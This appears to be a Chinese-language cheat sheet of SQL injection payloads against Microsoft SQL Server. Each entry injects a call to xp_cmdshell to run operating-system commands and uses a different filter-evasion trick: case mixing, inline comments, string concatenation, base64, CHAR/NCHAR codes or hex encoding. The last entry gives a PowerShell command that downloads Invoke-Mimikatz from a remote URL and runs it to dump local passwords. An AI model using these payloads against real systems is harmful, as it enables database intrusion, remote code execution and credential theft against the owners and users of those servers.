use xp_cmdshell
';exec xp_cmdshell 'dir';--
大小写来绕过
';exec xP_cMdsheLL 'dir';--
利用注释替换关键字来绕过(在sqlserver 2000版本之后不适用)
';ex/**/ec xp_cmdshell 'dir';--
利用注释替换空格绕过(适用于所有版本的sqlserver)
';exec/**/xp_cmdshell/**/'dir';--
利用声明变量
';declare @cmd as varchar(3000);set @cmd='x'+'p'+'_'+'c'+'m'+'d'+'s'+'h'+'e'+'l'+'l'+'/**/'+''''+'d'+'i'+'r'+'''';exec(@cmd);--
利用base64编码
';DECLARE @data varchar(max), @XmlData xml;SET @data = 'ZXhlYyBtYXN0ZXIuLnhwX2NtZHNoZWxsICdkaXIn';SET @XmlData = CAST('' + @data + '' as xml);SET @data = CONVERT(varchar(max), @XmlData.value('(data)[1]', 'varbinary(max)'));exec (@data);--
利用char型ASCII码绕过
';Declare @cmd as varchar(3000);Set @cmd =(CHAR(101)+CHAR(120)+CHAR(101)+CHAR(99)+CHAR(32)+CHAR(109)+CHAR(97)+CHAR(115)+CHAR(116)+CHAR(101)+CHAR(114)+CHAR(46)+CHAR(46)+CHAR(120)+CHAR(112)+CHAR(95)+CHAR(99)+CHAR(109)+CHAR(100)+CHAR(115)+CHAR(104)+CHAR(101)+CHAR(108)+CHAR(108)+CHAR(32)+CHAR(39)+CHAR(100)+CHAR(105)+CHAR(114)+CHAR(39)+CHAR(59));EXEC(@cmd);--
利用unicode型ascii码绕过
';Declare @cmd as nvarchar(3000);Set @cmd =(nchar(101)+nchar(120)+nchar(101)+nchar(99)+nchar(32)+nchar(109)+nchar(97)+nchar(115)+nchar(116)+nchar(101)+nchar(114)+nchar(46)+nchar(46)+nchar(120)+nchar(112)+nchar(95)+nchar(99)+nchar(109)+nchar(100)+nchar(115)+nchar(104)+nchar(101)+nchar(108)+nchar(108)+nchar(32)+nchar(39)+nchar(100)+nchar(105)+nchar(114)+nchar(39)+nchar(59));EXEC(@cmd);--
利用0xhex编码绕过 cast函数
';Declare @cmd as varchar(3000);Set @cmd = cast(0x78705F636D647368656C6C202764697227 as varchar(3000));exec(@cmd);--
利用0xHex编码 convert函数
';Declare @cmd as varchar(3000);Set @cmd = convert(varchar(1),0x78705F636D647368656C6C202764697227);exec(@cmd);--
利用0xHex编码 exec函数
';Declare @cmd as varchar(3000);Set @cmd = convert(varchar(0),0x78705F636D647368656C6C202764697227);exec sp_sqlexec @cmd;--
当然如果是administrator的权限,您也可以直接调用powershell读取本地密码比如
exec xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString(''https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1''); Invoke-Mimikatz'
这里请注意:由于xp_cmdshell执行命令时需要用单引号,所以在链接的地方就要用两个单引号